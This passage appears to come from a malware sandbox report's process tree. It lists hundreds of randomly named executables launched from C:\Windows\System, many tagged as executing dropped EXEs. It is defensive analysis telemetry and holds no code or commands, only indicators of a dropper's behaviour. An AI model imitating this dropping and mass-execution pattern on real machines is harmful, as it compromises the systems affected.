- C:\Windows\System\fOrGlgv.exe
  C:\Windows\System\fOrGlgv.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\hgeudMm.exe
  C:\Windows\System\hgeudMm.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\OaZUKZA.exe
  C:\Windows\System\OaZUKZA.exe
  2⤵
  - Executes dropped EXE
  PID:2476
- C:\Windows\System\dqXzxzp.exe
  C:\Windows\System\dqXzxzp.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\bwsNyFF.exe
  C:\Windows\System\bwsNyFF.exe
  2⤵
  - Executes dropped EXE
  PID:2692
- C:\Windows\System\oSmLzbX.exe
  C:\Windows\System\oSmLzbX.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\HvYwKdc.exe
  C:\Windows\System\HvYwKdc.exe
  2⤵
  - Executes dropped EXE
  PID:2568
- C:\Windows\System\gHYGRmC.exe
  C:\Windows\System\gHYGRmC.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\bGAjsFQ.exe
  C:\Windows\System\bGAjsFQ.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\NIebELs.exe
  C:\Windows\System\NIebELs.exe
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Windows\System\PIUkcOm.exe
  C:\Windows\System\PIUkcOm.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\YGVayIg.exe
  C:\Windows\System\YGVayIg.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\fwTLRln.exe
  C:\Windows\System\fwTLRln.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\CEXQLaB.exe
  C:\Windows\System\CEXQLaB.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\TKpdDmk.exe
  C:\Windows\System\TKpdDmk.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\ZNvNiRY.exe
  C:\Windows\System\ZNvNiRY.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\hAOHUcp.exe
  C:\Windows\System\hAOHUcp.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\DGGCcfH.exe
  C:\Windows\System\DGGCcfH.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\uEbDAfD.exe
  C:\Windows\System\uEbDAfD.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\jHjtpzX.exe
  C:\Windows\System\jHjtpzX.exe
  2⤵
  - Executes dropped EXE
  PID:1192
- C:\Windows\System\aarbFfH.exe
  C:\Windows\System\aarbFfH.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\ZydorSx.exe
  C:\Windows\System\ZydorSx.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\AXrEzht.exe
  C:\Windows\System\AXrEzht.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\mtGYwNV.exe
  C:\Windows\System\mtGYwNV.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\jJphpSR.exe
  C:\Windows\System\jJphpSR.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\GOmRpGq.exe
  C:\Windows\System\GOmRpGq.exe
  2⤵
  - Executes dropped EXE
  PID:836
- C:\Windows\System\pCobjDc.exe
  C:\Windows\System\pCobjDc.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\UROEDPO.exe
  C:\Windows\System\UROEDPO.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\AKyCioN.exe
  C:\Windows\System\AKyCioN.exe
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\System\XacbIBL.exe
  C:\Windows\System\XacbIBL.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\cqAAKRo.exe
  C:\Windows\System\cqAAKRo.exe
  2⤵
  - Executes dropped EXE
  PID:1416
- C:\Windows\System\htWGvwZ.exe
  C:\Windows\System\htWGvwZ.exe
  2⤵
  - Executes dropped EXE
  PID:2992
- C:\Windows\System\FtEXlUA.exe
  C:\Windows\System\FtEXlUA.exe
  2⤵
  - Executes dropped EXE
  PID:588
- C:\Windows\System\BYECBEY.exe
  C:\Windows\System\BYECBEY.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\VpkBkbE.exe
  C:\Windows\System\VpkBkbE.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\ndqVhhy.exe
  C:\Windows\System\ndqVhhy.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Windows\System\aMYTYLX.exe
  C:\Windows\System\aMYTYLX.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\sarUFEr.exe
  C:\Windows\System\sarUFEr.exe
  2⤵
  - Executes dropped EXE
  PID:1016
- C:\Windows\System\HYGEezF.exe
  C:\Windows\System\HYGEezF.exe
  2⤵
  - Executes dropped EXE
  PID:2872
- C:\Windows\System\wvEICgr.exe
  C:\Windows\System\wvEICgr.exe
  2⤵
  - Executes dropped EXE
  PID:1136
- C:\Windows\System\MiePhZd.exe
  C:\Windows\System\MiePhZd.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\CHhkDnQ.exe
  C:\Windows\System\CHhkDnQ.exe
  2⤵
  - Executes dropped EXE
  PID:2200
- C:\Windows\System\jxJXHrS.exe
  C:\Windows\System\jxJXHrS.exe
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Windows\System\bBueaQu.exe
  C:\Windows\System\bBueaQu.exe
  2⤵
  PID:2892
- C:\Windows\System\TfajceV.exe
  C:\Windows\System\TfajceV.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\zCswZME.exe
  C:\Windows\System\zCswZME.exe
  2⤵
  PID:2644
- C:\Windows\System\FzUJtDG.exe
  C:\Windows\System\FzUJtDG.exe
  2⤵
  - Executes dropped EXE
  PID:2604
- C:\Windows\System\vlebPrD.exe
  C:\Windows\System\vlebPrD.exe
  2⤵
  PID:2672
- C:\Windows\System\aBbXfYa.exe
  C:\Windows\System\aBbXfYa.exe
  2⤵
  - Executes dropped EXE
  PID:2608
- C:\Windows\System\XtlTSLu.exe
  C:\Windows\System\XtlTSLu.exe
  2⤵
  PID:2444
- C:\Windows\System\BXvOwvY.exe
  C:\Windows\System\BXvOwvY.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\nhjtxwQ.exe
  C:\Windows\System\nhjtxwQ.exe
  2⤵
  PID:2724
- C:\Windows\System\UAgtske.exe
  C:\Windows\System\UAgtske.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\VuhivxT.exe
  C:\Windows\System\VuhivxT.exe
  2⤵
  PID:2076
- C:\Windows\System\phZcqFW.exe
  C:\Windows\System\phZcqFW.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\OJbRwxj.exe
  C:\Windows\System\OJbRwxj.exe
  2⤵
  PID:1996
- C:\Windows\System\qqbZbQs.exe
  C:\Windows\System\qqbZbQs.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\sciOKat.exe
  C:\Windows\System\sciOKat.exe
  2⤵
  PID:1476
- C:\Windows\System\MMpqxGM.exe
  C:\Windows\System\MMpqxGM.exe
  2⤵
  - Executes dropped EXE
  PID:1556
- C:\Windows\System\JMPdHdR.exe
  C:\Windows\System\JMPdHdR.exe
  2⤵
  PID:2680
- C:\Windows\System\uSjiRAO.exe
  C:\Windows\System\uSjiRAO.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\KMORvFj.exe
  C:\Windows\System\KMORvFj.exe
  2⤵
  PID:2924
- C:\Windows\System\lHdcoPc.exe
  C:\Windows\System\lHdcoPc.exe
  2⤵
  - Executes dropped EXE
  PID:1936
- C:\Windows\System\ZhcDtcw.exe
  C:\Windows\System\ZhcDtcw.exe
  2⤵
  PID:2768
- C:\Windows\System\IFbHBRL.exe
  C:\Windows\System\IFbHBRL.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\KYUiKqF.exe
  C:\Windows\System\KYUiKqF.exe
  2⤵
  PID:3048
- C:\Windows\System\vSPtFbR.exe
  C:\Windows\System\vSPtFbR.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\cBSLspP.exe
  C:\Windows\System\cBSLspP.exe
  2⤵
  PID:1164
- C:\Windows\System\BUHlSoX.exe
  C:\Windows\System\BUHlSoX.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\VPHcAfl.exe
  C:\Windows\System\VPHcAfl.exe
  2⤵
  PID:2860
- C:\Windows\System\UFvarnR.exe
  C:\Windows\System\UFvarnR.exe
  2⤵
  PID:2124
- C:\Windows\System\IAFrFRa.exe
  C:\Windows\System\IAFrFRa.exe
  2⤵
  PID:980
- C:\Windows\System\CRrlYDO.exe
  C:\Windows\System\CRrlYDO.exe
  2⤵
  PID:1828
- C:\Windows\System\qYfzIXF.exe
  C:\Windows\System\qYfzIXF.exe
  2⤵
  PID:1076
- C:\Windows\System\ZDKACki.exe
  C:\Windows\System\ZDKACki.exe
  2⤵
  PID:1432
- C:\Windows\System\lrGJJNU.exe
  C:\Windows\System\lrGJJNU.exe
  2⤵
  PID:2312
- C:\Windows\System\RJLoJqS.exe
  C:\Windows\System\RJLoJqS.exe
  2⤵
  PID:564
- C:\Windows\System\iuHwhfX.exe
  C:\Windows\System\iuHwhfX.exe
  2⤵
  PID:2116
- C:\Windows\System\gySHjHf.exe
  C:\Windows\System\gySHjHf.exe
  2⤵
  PID:1208
- C:\Windows\System\dpexQon.exe
  C:\Windows\System\dpexQon.exe
  2⤵
  PID:2540
- C:\Windows\System\BKtnqTQ.exe
  C:\Windows\System\BKtnqTQ.exe
  2⤵
  PID:2252
- C:\Windows\System\DXcDcFB.exe
  C:\Windows\System\DXcDcFB.exe
  2⤵
  PID:2852
- C:\Windows\System\aWVCeVc.exe
  C:\Windows\System\aWVCeVc.exe
  2⤵
  PID:2584
- C:\Windows\System\HVVciXz.exe
  C:\Windows\System\HVVciXz.exe
  2⤵
  PID:320
- C:\Windows\System\GXUUqRg.exe
  C:\Windows\System\GXUUqRg.exe
  2⤵
  PID:2684
- C:\Windows\System\QHVxKHa.exe
  C:\Windows\System\QHVxKHa.exe
  2⤵
  PID:2064
- C:\Windows\System\mTYFhrZ.exe
  C:\Windows\System\mTYFhrZ.exe
  2⤵
  PID:1756
- C:\Windows\System\FMUNNyj.exe
  C:\Windows\System\FMUNNyj.exe
  2⤵
  PID:896
- C:\Windows\System\JQHrsuQ.exe
  C:\Windows\System\JQHrsuQ.exe
  2⤵
  PID:1824
- C:\Windows\System\iRcQEYx.exe
  C:\Windows\System\iRcQEYx.exe
  2⤵
  PID:2716
- C:\Windows\System\suwwXQG.exe
  C:\Windows\System\suwwXQG.exe
  2⤵
  PID:932
- C:\Windows\System\BlZiwmZ.exe
  C:\Windows\System\BlZiwmZ.exe
  2⤵
  PID:1456
- C:\Windows\System\bctVchA.exe
  C:\Windows\System\bctVchA.exe
  2⤵
  PID:1944
- C:\Windows\System\NXgXFVg.exe
  C:\Windows\System\NXgXFVg.exe
  2⤵
  PID:2536
- C:\Windows\System\JcCQVCo.exe
  C:\Windows\System\JcCQVCo.exe
  2⤵
  PID:2248
- C:\Windows\System\cGqRNUO.exe
  C:\Windows\System\cGqRNUO.exe
  2⤵
  PID:2660
- C:\Windows\System\EsfpneM.exe
  C:\Windows\System\EsfpneM.exe
  2⤵
  PID:1092
- C:\Windows\System\QQDTyUR.exe
  C:\Windows\System\QQDTyUR.exe
  2⤵
  PID:2360
- C:\Windows\System\VaDgvri.exe
  C:\Windows\System\VaDgvri.exe
  2⤵
  PID:2008
- C:\Windows\System\nhVpCIo.exe
  C:\Windows\System\nhVpCIo.exe
  2⤵
  PID:2160
- C:\Windows\System\pzCvIeZ.exe
  C:\Windows\System\pzCvIeZ.exe
  2⤵
  PID:1276
- C:\Windows\System\yLwCVBm.exe
  C:\Windows\System\yLwCVBm.exe
  2⤵
  PID:2456
- C:\Windows\System\nJDcDwl.exe
  C:\Windows\System\nJDcDwl.exe
  2⤵
  PID:3080
- C:\Windows\System\idVjeNB.exe
  C:\Windows\System\idVjeNB.exe
  2⤵
  PID:3096
- C:\Windows\System\HTmrBuO.exe
  C:\Windows\System\HTmrBuO.exe
  2⤵
  PID:3112
- C:\Windows\System\oONwUjS.exe
  C:\Windows\System\oONwUjS.exe
  2⤵
  PID:3128
- C:\Windows\System\xLGWTVi.exe
  C:\Windows\System\xLGWTVi.exe
  2⤵
  PID:3144
- C:\Windows\System\PoJMyFt.exe
  C:\Windows\System\PoJMyFt.exe
  2⤵
  PID:3160
- C:\Windows\System\HweBPNO.exe
  C:\Windows\System\HweBPNO.exe
  2⤵
  PID:3236
- C:\Windows\System\Wadyokg.exe
  C:\Windows\System\Wadyokg.exe
  2⤵
  PID:3252
- C:\Windows\System\cYRPzhS.exe
  C:\Windows\System\cYRPzhS.exe
  2⤵
  PID:3484
- C:\Windows\System\AsowDbO.exe
  C:\Windows\System\AsowDbO.exe
  2⤵
  PID:3500
- C:\Windows\System\uMKcLUu.exe
  C:\Windows\System\uMKcLUu.exe
  2⤵
  PID:3516
- C:\Windows\System\ZQXaesq.exe
  C:\Windows\System\ZQXaesq.exe
  2⤵
  PID:3536
- C:\Windows\System\XeimRHq.exe
  C:\Windows\System\XeimRHq.exe
  2⤵
  PID:3552
- C:\Windows\System\xkwZAyd.exe
  C:\Windows\System\xkwZAyd.exe
  2⤵
  PID:3568
- C:\Windows\System\prgdWOq.exe
  C:\Windows\System\prgdWOq.exe
  2⤵
  PID:3588
- C:\Windows\System\dDZQMgR.exe
  C:\Windows\System\dDZQMgR.exe
  2⤵
  PID:3604
- C:\Windows\System\evojkWc.exe
  C:\Windows\System\evojkWc.exe
  2⤵
  PID:3620
- C:\Windows\System\ISGocYj.exe
  C:\Windows\System\ISGocYj.exe
  2⤵
  PID:3636
- C:\Windows\System\jHLiujh.exe
  C:\Windows\System\jHLiujh.exe
  2⤵
  PID:3656
- C:\Windows\System\hJGhLDD.exe
  C:\Windows\System\hJGhLDD.exe
  2⤵
  PID:3672
- C:\Windows\System\HnkOWMT.exe
  C:\Windows\System\HnkOWMT.exe
  2⤵
  PID:3692
- C:\Windows\System\JOgFwOy.exe
  C:\Windows\System\JOgFwOy.exe
  2⤵
  PID:3708
- C:\Windows\System\oFvvPDX.exe
  C:\Windows\System\oFvvPDX.exe
  2⤵
  PID:3724
- C:\Windows\System\cAPvMcz.exe
  C:\Windows\System\cAPvMcz.exe
  2⤵
  PID:3740
- C:\Windows\System\YIzgCJc.exe
  C:\Windows\System\YIzgCJc.exe
  2⤵
  PID:3756
- C:\Windows\System\FqjSYBQ.exe
  C:\Windows\System\FqjSYBQ.exe
  2⤵
  PID:3772
- C:\Windows\System\RRmJusU.exe
  C:\Windows\System\RRmJusU.exe
  2⤵
  PID:3788
- C:\Windows\System\YZwNTZP.exe
  C:\Windows\System\YZwNTZP.exe
  2⤵
  PID:3804
- C:\Windows\System\eonljxZ.exe
  C:\Windows\System\eonljxZ.exe
  2⤵
  PID:3820
- C:\Windows\System\hJwjPKl.exe
  C:\Windows\System\hJwjPKl.exe
  2⤵
  PID:3836
- C:\Windows\System\pCTAPXV.exe
  C:\Windows\System\pCTAPXV.exe
  2⤵
  PID:3852
- C:\Windows\System\gpvvqxh.exe
  C:\Windows\System\gpvvqxh.exe
  2⤵
  PID:3868
- C:\Windows\System\PLPNZrw.exe
  C:\Windows\System\PLPNZrw.exe
  2⤵
  PID:3884
- C:\Windows\System\IyvoIwm.exe
  C:\Windows\System\IyvoIwm.exe
  2⤵
  PID:3900
- C:\Windows\System\QEcFkqy.exe
  C:\Windows\System\QEcFkqy.exe
  2⤵
  PID:3916
- C:\Windows\System\cCWbTHu.exe
  C:\Windows\System\cCWbTHu.exe
  2⤵
  PID:3936
- C:\Windows\System\cEVzObG.exe
  C:\Windows\System\cEVzObG.exe
  2⤵
  PID:3952
- C:\Windows\System\ERjKRlJ.exe
  C:\Windows\System\ERjKRlJ.exe
  2⤵
  PID:3968
- C:\Windows\System\aQAgXDJ.exe
  C:\Windows\System\aQAgXDJ.exe
  2⤵
  PID:3984
- C:\Windows\System\DcLswXC.exe
  C:\Windows\System\DcLswXC.exe
  2⤵
  PID:4000
- C:\Windows\System\YvqiXvn.exe
  C:\Windows\System\YvqiXvn.exe
  2⤵
  PID:4016
- C:\Windows\System\qyTyesu.exe
  C:\Windows\System\qyTyesu.exe
  2⤵
  PID:4032
- C:\Windows\System\CpbZUrl.exe
  C:\Windows\System\CpbZUrl.exe
  2⤵
  PID:4048
- C:\Windows\System\fODIbXD.exe
  C:\Windows\System\fODIbXD.exe
  2⤵
  PID:4064
- C:\Windows\System\quRAnnA.exe
  C:\Windows\System\quRAnnA.exe
  2⤵
  PID:4080
- C:\Windows\System\mUKMQNl.exe
  C:\Windows\System\mUKMQNl.exe
  2⤵
  PID:1664
- C:\Windows\System\idTDxbB.exe
  C:\Windows\System\idTDxbB.exe
  2⤵
  PID:2184
- C:\Windows\System\NocrCPh.exe
  C:\Windows\System\NocrCPh.exe
  2⤵
  PID:1152
- C:\Windows\System\ukxmgEe.exe
  C:\Windows\System\ukxmgEe.exe
  2⤵
  PID:3120
- C:\Windows\System\OGIOEPh.exe
  C:\Windows\System\OGIOEPh.exe
  2⤵
  PID:3244
- C:\Windows\System\RDALEsI.exe
  C:\Windows\System\RDALEsI.exe
  2⤵
  PID:1740
- C:\Windows\System\DmfqiRT.exe
  C:\Windows\System\DmfqiRT.exe
  2⤵
  PID:2484
- C:\Windows\System\nnNcGhV.exe
  C:\Windows\System\nnNcGhV.exe
  2⤵
  PID:1940
- C:\Windows\System\tYYJhmh.exe
  C:\Windows\System\tYYJhmh.exe
  2⤵
  PID:1600
- C:\Windows\System\fFaHlyf.exe
  C:\Windows\System\fFaHlyf.exe
  2⤵
  PID:704
- C:\Windows\System\qlYBfHM.exe
  C:\Windows\System\qlYBfHM.exe
  2⤵
  PID:1692
- C:\Windows\System\JdLsOpZ.exe
  C:\Windows\System\JdLsOpZ.exe
  2⤵
  PID:2968
- C:\Windows\System\YyQoKla.exe
  C:\Windows\System\YyQoKla.exe
  2⤵
  PID:852
- C:\Windows\System\mwbDuWT.exe
  C:\Windows\System\mwbDuWT.exe
  2⤵
  PID:412
- C:\Windows\System\dbAExkN.exe
  C:\Windows\System\dbAExkN.exe
  2⤵
  PID:2556
- C:\Windows\System\NRMJYbt.exe
  C:\Windows\System\NRMJYbt.exe
  2⤵
  PID:2612
- C:\Windows\System\OBHWkGD.exe
  C:\Windows\System\OBHWkGD.exe
  2⤵
  PID:3140
- C:\Windows\System\pIFJbxv.exe
  C:\Windows\System\pIFJbxv.exe
  2⤵
  PID:3188
- C:\Windows\System\fhQalQW.exe
  C:\Windows\System\fhQalQW.exe
  2⤵
  PID:3204
- C:\Windows\System\JhAKNvW.exe
  C:\Windows\System\JhAKNvW.exe
  2⤵
  PID:3220
- C:\Windows\System\EcwOcim.exe
  C:\Windows\System\EcwOcim.exe
  2⤵
  PID:3496
- C:\Windows\System\IspFqcd.exe
  C:\Windows\System\IspFqcd.exe
  2⤵
  PID:3564
- C:\Windows\System\OcqswQW.exe
  C:\Windows\System\OcqswQW.exe
  2⤵
  PID:3632
- C:\Windows\System\cnrxhoe.exe
  C:\Windows\System\cnrxhoe.exe
  2⤵
  PID:3704
- C:\Windows\System\WkcvqIZ.exe
  C:\Windows\System\WkcvqIZ.exe
  2⤵
  PID:3348
- C:\Windows\System\LJJThID.exe
  C:\Windows\System\LJJThID.exe
  2⤵
  PID:3364
- C:\Windows\System\bmTCXfu.exe
  C:\Windows\System\bmTCXfu.exe
  2⤵
  PID:3380
- C:\Windows\System\BxNDJVX.exe
  C:\Windows\System\BxNDJVX.exe
  2⤵
  PID:3396
- C:\Windows\System\pEIHdmx.exe
  C:\Windows\System\pEIHdmx.exe
  2⤵
  PID:3412
- C:\Windows\System\VaQegVs.exe
  C:\Windows\System\VaQegVs.exe
  2⤵
  PID:1668
- C:\Windows\System\EAYJscS.exe
  C:\Windows\System\EAYJscS.exe
  2⤵
  PID:1768
- C:\Windows\System\aeSKdjZ.exe
  C:\Windows\System\aeSKdjZ.exe
  2⤵
  PID:3288
- C:\Windows\System\lPVlQFM.exe
  C:\Windows\System\lPVlQFM.exe
  2⤵
  PID:3304
- C:\Windows\System\GVCQHkn.exe
  C:\Windows\System\GVCQHkn.exe
  2⤵
  PID:3764
- C:\Windows\System\vMQCDoV.exe
  C:\Windows\System\vMQCDoV.exe
  2⤵
  PID:3828
- C:\Windows\System\xBXqvOQ.exe
  C:\Windows\System\xBXqvOQ.exe
  2⤵
  PID:3928
- C:\Windows\System\nxqSvzX.exe
  C:\Windows\System\nxqSvzX.exe
  2⤵
  PID:4060
- C:\Windows\System\jwiFGQM.exe
  C:\Windows\System\jwiFGQM.exe
  2⤵
  PID:1904
- C:\Windows\System\GtEnuMg.exe
  C:\Windows\System\GtEnuMg.exe
  2⤵
  PID:2948
- C:\Windows\System\zAQaqRZ.exe
  C:\Windows\System\zAQaqRZ.exe
  2⤵
  PID:3580
- C:\Windows\System\JYpOdqV.exe
  C:\Windows\System\JYpOdqV.exe
  2⤵
  PID:1872
- C:\Windows\System\qztePbY.exe
  C:\Windows\System\qztePbY.exe
  2⤵
  PID:3644
- C:\Windows\System\nwRPupe.exe
  C:\Windows\System\nwRPupe.exe
  2⤵
  PID:3684
- C:\Windows\System\duwlZRP.exe
  C:\Windows\System\duwlZRP.exe
  2⤵
  PID:876
- C:\Windows\System\pxLQTxr.exe
  C:\Windows\System\pxLQTxr.exe
  2⤵
  PID:2600
- C:\Windows\System\UJNoLpo.exe
  C:\Windows\System\UJNoLpo.exe
  2⤵
  PID:3468
- C:\Windows\System\CRqbyvR.exe
  C:\Windows\System\CRqbyvR.exe
  2⤵
  PID:2036
- C:\Windows\System\YVVIwHh.exe
  C:\Windows\System\YVVIwHh.exe
  2⤵
  PID:1632
- C:\Windows\System\dpGtPle.exe
  C:\Windows\System\dpGtPle.exe
  2⤵
  PID:632
- C:\Windows\System\dyFyMWa.exe
  C:\Windows\System\dyFyMWa.exe
  2⤵
  PID:4008
- C:\Windows\System\ubLXJFS.exe
  C:\Windows\System\ubLXJFS.exe
  2⤵
  PID:4072
- C:\Windows\System\lWhNPpc.exe
  C:\Windows\System\lWhNPpc.exe
  2⤵
  PID:2960
- C:\Windows\System\ZLfIdQp.exe
  C:\Windows\System\ZLfIdQp.exe
  2⤵
  PID:1988
- C:\Windows\System\hfSRBww.exe
  C:\Windows\System\hfSRBww.exe
  2⤵
  PID:1520
- C:\Windows\System\eDOKYcH.exe
  C:\Windows\System\eDOKYcH.exe
  2⤵
  PID:2192
- C:\Windows\System\PgWliNV.exe
  C:\Windows\System\PgWliNV.exe
  2⤵
  PID:1924
- C:\Windows\System\OWAjtHh.exe
  C:\Windows\System\OWAjtHh.exe
  2⤵
  PID:2788
- C:\Windows\System\xtPrMAP.exe
  C:\Windows\System\xtPrMAP.exe
  2⤵
  PID:268
- C:\Windows\System\MaGXLdC.exe
  C:\Windows\System\MaGXLdC.exe
  2⤵
  PID:1068
- C:\Windows\System\XcifcNV.exe
  C:\Windows\System\XcifcNV.exe
  2⤵
  PID:1640
- C:\Windows\System\rSKpODd.exe
  C:\Windows\System\rSKpODd.exe
  2⤵
  PID:668
- C:\Windows\System\nEJfPSQ.exe
  C:\Windows\System\nEJfPSQ.exe
  2⤵
  PID:1864
- C:\Windows\System\DsNklSN.exe
  C:\Windows\System\DsNklSN.exe
  2⤵
  PID:3012
- C:\Windows\System\zXWByaE.exe
  C:\Windows\System\zXWByaE.exe
  2⤵
  PID:2776
- C:\Windows\System\MXHlqCV.exe
  C:\Windows\System\MXHlqCV.exe
  2⤵
  PID:2436
- C:\Windows\System\oKgybtN.exe
  C:\Windows\System\oKgybtN.exe
  2⤵
  PID:3028
- C:\Windows\System\IAnuXsa.exe
  C:\Windows\System\IAnuXsa.exe
  2⤵
  PID:3372
- C:\Windows\System\wciEnDk.exe
  C:\Windows\System\wciEnDk.exe
  2⤵
  PID:2492
- C:\Windows\System\vOlemBK.exe
  C:\Windows\System\vOlemBK.exe
  2⤵
  PID:3300
- C:\Windows\System\UOWEAoa.exe
  C:\Windows\System\UOWEAoa.exe
  2⤵
  PID:3800
- C:\Windows\System\dIDETew.exe
  C:\Windows\System\dIDETew.exe
  2⤵
  PID:3996
- C:\Windows\System\sLljLXT.exe
  C:\Windows\System\sLljLXT.exe
  2⤵
  PID:2060
- C:\Windows\System\MQfBaJK.exe
  C:\Windows\System\MQfBaJK.exe
  2⤵
  PID:3652
- C:\Windows\System\wnwsVEh.exe
  C:\Windows\System\wnwsVEh.exe
  2⤵
  PID:1536
- C:\Windows\System\BkTjuLt.exe
  C:\Windows\System\BkTjuLt.exe
  2⤵
  PID:1204
- C:\Windows\System\LPIeDSk.exe
  C:\Windows\System\LPIeDSk.exe
  2⤵
  PID:1700
- C:\Windows\System\QtneGmh.exe
  C:\Windows\System\QtneGmh.exe
  2⤵
  PID:1596
- C:\Windows\System\akODllP.exe
  C:\Windows\System\akODllP.exe
  2⤵
  PID:3176
- C:\Windows\System\pYyIgVJ.exe
  C:\Windows\System\pYyIgVJ.exe
  2⤵
  PID:3388
- C:\Windows\System\OWKeUPv.exe
  C:\Windows\System\OWKeUPv.exe
  2⤵
  PID:3276
- C:\Windows\System\jxZMqTE.exe
  C:\Windows\System\jxZMqTE.exe
  2⤵
  PID:3860
- C:\Windows\System\NfOLVgU.exe
  C:\Windows\System\NfOLVgU.exe
  2⤵
  PID:4092
- C:\Windows\System\mHoiOxw.exe
  C:\Windows\System\mHoiOxw.exe
  2⤵
  PID:3332
- C:\Windows\System\Dqtobol.exe
  C:\Windows\System\Dqtobol.exe
  2⤵
  PID:692
- C:\Windows\System\AuBMlkI.exe
  C:\Windows\System\AuBMlkI.exe
  2⤵
  PID:1428
- C:\Windows\System\jZdgvdi.exe
  C:\Windows\System\jZdgvdi.exe
  2⤵
  PID:3544
- C:\Windows\System\cvxCaEj.exe
  C:\Windows\System\cvxCaEj.exe
  2⤵
  PID:3716
- C:\Windows\System\zirHmal.exe
  C:\Windows\System\zirHmal.exe
  2⤵
  PID:3784
- C:\Windows\System\rETPzhY.exe
  C:\Windows\System\rETPzhY.exe
  2⤵
  PID:2132
- C:\Windows\System\ATUIBoL.exe
  C:\Windows\System\ATUIBoL.exe
  2⤵
  PID:3812
- C:\Windows\System\zycnKYm.exe
  C:\Windows\System\zycnKYm.exe
  2⤵
  PID:3876
- C:\Windows\System\RpVgxsp.exe
  C:\Windows\System\RpVgxsp.exe
  2⤵
  PID:3216
- C:\Windows\System\WLJKPeT.exe
  C:\Windows\System\WLJKPeT.exe
  2⤵
  PID:3908
- C:\Windows\System\LtGNSdA.exe
  C:\Windows\System\LtGNSdA.exe
  2⤵
  PID:3948
- C:\Windows\System\jmmidZK.exe
  C:\Windows\System\jmmidZK.exe
  2⤵
  PID:2796
- C:\Windows\System\xdwIMrO.exe
  C:\Windows\System\xdwIMrO.exe
  2⤵
  PID:2480
- C:\Windows\System\QtmfZHV.exe
  C:\Windows\System\QtmfZHV.exe
  2⤵
  PID:2344
- C:\Windows\System\LNpqCiv.exe
  C:\Windows\System\LNpqCiv.exe
  2⤵
  PID:2256
- C:\Windows\System\slyKKfC.exe
  C:\Windows\System\slyKKfC.exe
  2⤵
  PID:1820
- C:\Windows\System\jwSbHrm.exe
  C:\Windows\System\jwSbHrm.exe
  2⤵
  PID:2816
- C:\Windows\System\KWxIJDO.exe
  C:\Windows\System\KWxIJDO.exe
  2⤵
  PID:1620
- C:\Windows\System\xZZEmfN.exe
  C:\Windows\System\xZZEmfN.exe
  2⤵
  PID:3108
- C:\Windows\System\MvEkkmu.exe
  C:\Windows\System\MvEkkmu.exe
  2⤵
  PID:3228
- C:\Windows\System\wqWQsDD.exe
  C:\Windows\System\wqWQsDD.exe
  2⤵
  PID:3628
- C:\Windows\System\jhpJbLF.exe
  C:\Windows\System\jhpJbLF.exe
  2⤵
  PID:3432
- C:\Windows\System\ZuwNyms.exe
  C:\Windows\System\ZuwNyms.exe
  2⤵
  PID:3324
- C:\Windows\System\WYKEhda.exe
  C:\Windows\System\WYKEhda.exe
  2⤵
  PID:1564
- C:\Windows\System\wwEjcrb.exe
  C:\Windows\System\wwEjcrb.exe
  2⤵
  PID:3360
- C:\Windows\System\KuFeMCH.exe
  C:\Windows\System\KuFeMCH.exe
  2⤵
  PID:1784
- C:\Windows\System\xRMYskQ.exe
  C:\Windows\System\xRMYskQ.exe
  2⤵
  PID:3020
- C:\Windows\System\Onllfir.exe
  C:\Windows\System\Onllfir.exe
  2⤵
  PID:3848
- C:\Windows\System\cfkHQpV.exe
  C:\Windows\System\cfkHQpV.exe
  2⤵
  PID:4104
- C:\Windows\System\rpvQQWk.exe
  C:\Windows\System\rpvQQWk.exe
  2⤵
  PID:4120
- C:\Windows\System\GgJvndX.exe
  C:\Windows\System\GgJvndX.exe
  2⤵
  PID:4140
- C:\Windows\System\DJDrwTt.exe
  C:\Windows\System\DJDrwTt.exe
  2⤵
  PID:4156
- C:\Windows\System\edEPmhm.exe
  C:\Windows\System\edEPmhm.exe
  2⤵
  PID:4172
- C:\Windows\System\blJshbx.exe
  C:\Windows\System\blJshbx.exe
  2⤵
  PID:4188
